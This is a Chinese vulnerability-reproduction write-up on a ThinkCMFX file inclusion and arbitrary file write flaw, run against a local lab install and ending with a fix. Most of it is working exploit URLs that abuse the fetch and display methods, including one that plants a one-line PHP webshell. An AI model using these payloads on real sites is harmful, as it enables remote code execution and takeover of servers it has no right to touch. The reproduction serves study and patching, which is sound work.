ThinkCMFX文件包含漏洞

0x00 漏洞简介

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,从而能够达到远程代码执行

0x01 影响范围

1.6.0 < ThinkCMFX < 2.3.0

0x02 环境搭建

使用ThinkCMFX2.2.0版本搭建,利用中间件phpstudy运行搭建的网站,网站一键安装即可
ThinkCMFX文件包含漏洞_第1张图片
ThinkCMFX文件包含漏洞_第2张图片ThinkCMFX文件包含漏洞_第3张图片ThinkCMFX文件包含漏洞_第4张图片

ThinkCMF网站搭建完成界面
ThinkCMFX文件包含漏洞_第5张图片

0x03 漏洞复现

一、通过构造a参数的fetch方法,实现任意文件写入,把php代码写入文件

http://192.168.220.129/cmfx-X2.2.0/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','')

在这里插入图片描述
执行写入后,访问写入代码的页面,访问成功

http://192.168.220.129/cmfx-X2.2.0/test.php

ThinkCMFX文件包含漏洞_第6张图片
二、通过构造a参数的display方法,实现任意内容包含

http://192.168.220.129/cmfx-X2.2.0/?a=display&templateFile=README.md

ThinkCMFX文件包含漏洞_第7张图片

0x04 漏洞利用

通过第一种将代码一句话木马写入shell.php文件,获取后台shell

http://192.168.220.129/cmfx-X2.2.0/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','$_REQUEST[777]) ?>')</php>

ThinkCMFX文件包含漏洞_第8张图片

0x05 漏洞修复

将AdminbaseController.class.php和HomebaseController.class.php类中display和fetch函数的修饰符改为protected

你可能感兴趣的:(漏洞复现)